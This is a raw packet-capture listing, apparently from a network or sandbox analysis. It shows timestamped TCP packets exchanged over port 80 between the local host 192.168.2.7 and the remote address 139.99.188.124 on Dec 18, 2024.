                                                        Dec 18, 2024 09:19:26.680891037 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.680938959 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.680999994 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.685444117 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.685497046 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.685631990 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.690061092 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.690124989 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.690170050 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.694665909 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.694701910 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.694719076 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.699207067 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.699218988 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.699318886 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.703784943 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.703834057 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.704124928 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.708448887 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.708501101 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.708561897 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.712954998 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.712966919 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.712992907 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.717463970 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.717531919 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.717535019 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.722052097 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.722099066 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.722162008 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.726773024 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.726785898 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.726815939 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.731204987 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.731333971 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.731334925 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.735771894 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.735832930 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.735966921 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.740376949 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.740458965 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.740578890 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.745145082 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.745157957 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.745203018 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.749644041 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.749687910 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.749759912 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.754131079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.754178047 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.754467010 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.758692026 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.758738041 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.758800983 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.763415098 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.763461113 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.763483047 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.767853975 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.767898083 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.767962933 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.772418022 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.772465944 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.772533894 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.777021885 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.777061939 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.884028912 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.884145975 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.884205103 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.885996103 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.886009932 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.886051893 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.888756037 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.889100075 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.889149904 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.892556906 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.892570972 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.892615080 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.896368980 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.896523952 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.896574020 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.899838924 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.899852037 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.899892092 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.903357983 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.903567076 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.903615952 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.906769991 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.906793118 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.906833887 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.910325050 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.910339117 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.910382032 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.913723946 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.913742065 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.913783073 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.917053938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.917268991 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.917314053 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.920535088 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.921025991 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.921068907 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.924550056 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.924563885 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.924601078 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.927706957 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.927719116 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.927761078 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.930912971 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.930926085 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.930964947 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.934287071 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.934410095 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.934448957 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.938344002 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.938358068 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.938395023 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.941200018 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.941380978 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.941421986 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.944597006 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.944788933 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.944832087 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.951081991 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.951520920 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.951565981 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.952584982 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.952792883 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.952860117 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.956020117 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.956032991 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.956094980 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.958324909 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.958411932 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.958455086 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.961882114 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.961894035 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.961946011 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.965280056 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.965292931 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.965337038 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.968668938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.968761921 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.968806982 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.972110033 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.972214937 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.972255945 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.975630045 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.975790024 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.975831032 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.978965044 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.979082108 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.979129076 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.982409954 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.982536077 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.982594013 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.986001968 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.986013889 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.986053944 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.989332914 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.989454985 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.989499092 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.992752075 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.992961884 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.993007898 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.996228933 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.996243000 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:26.996299028 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:26.999593019 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.000085115 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.000129938 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.003273010 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.003295898 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.003339052 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.006485939 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.006558895 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.006602049 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.009995937 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.010063887 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.010111094 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.013298035 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.013439894 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.013480902 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.016724110 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.016788960 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.016833067 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.020344973 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.020356894 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.020405054 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.023586988 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.023909092 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.023958921 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.100327969 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.100361109 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.100425959 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.101377964 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.101391077 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.101433039 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.103549004 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.103563070 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.103624105 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.106015921 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.106029987 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.106085062 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.108407974 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.108643055 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.108684063 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.110805035 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.111010075 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.111054897 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.113143921 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.113235950 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.113281012 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.115556955 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.115611076 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.115659952 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.117851973 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.118071079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.118117094 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.120994091 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.121007919 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.121081114 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.122436047 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.122499943 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.122591972 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.124660969 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.124737024 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.124789953 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.126874924 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.127096891 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.127141953 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.129899025 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.129910946 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.129956961 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.131300926 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.131391048 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.131439924 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.134200096 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.134212017 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.134267092 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.135688066 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.136239052 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.136293888 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.137808084 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.138396978 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.138441086 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.138998032 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.139363050 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.139404058 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.140221119 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.140328884 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.140372992 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.141738892 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.141751051 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.141809940 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.142875910 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.142889023 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.142932892 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.143934965 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.143946886 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.144006014 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.145024061 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.145479918 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.145524025 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.146323919 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.146379948 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.146426916 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.147460938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.147620916 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.147687912 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.148662090 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.149250031 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.149295092 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.150098085 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.150110006 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.150163889 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.151148081 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.151195049 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.151237011 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.152255058 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.152421951 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.152481079 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.153469086 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.153616905 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.153656006 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.154824018 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.154835939 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.154882908 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.155993938 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.156120062 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.156160116 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.157223940 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.157275915 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.157320023 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.158346891 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.158575058 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.158612013 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.159447908 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.159629107 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.159672976 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.161000967 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.161011934 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.161060095 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.162066936 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.162079096 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.162132978 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.163119078 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.163233995 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.163281918 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.164463997 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.164477110 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.164524078 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.165501118 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.165740013 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.165783882 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.166786909 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.166801929 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.166847944 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.167979956 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.168019056 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.168065071 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.169178009 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.169451952 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.169497013 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.170521021 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.170531988 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.170614004 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.171574116 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.171812057 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.171854973 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.172853947 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.172864914 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.172909021 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.174309969 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.174321890 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.174360991 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.175409079 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.175421000 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.175808907 CET4970580192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:27.176415920 CET8049705139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:27.176486015 CET8049705139.99.188.124192.168.2.7
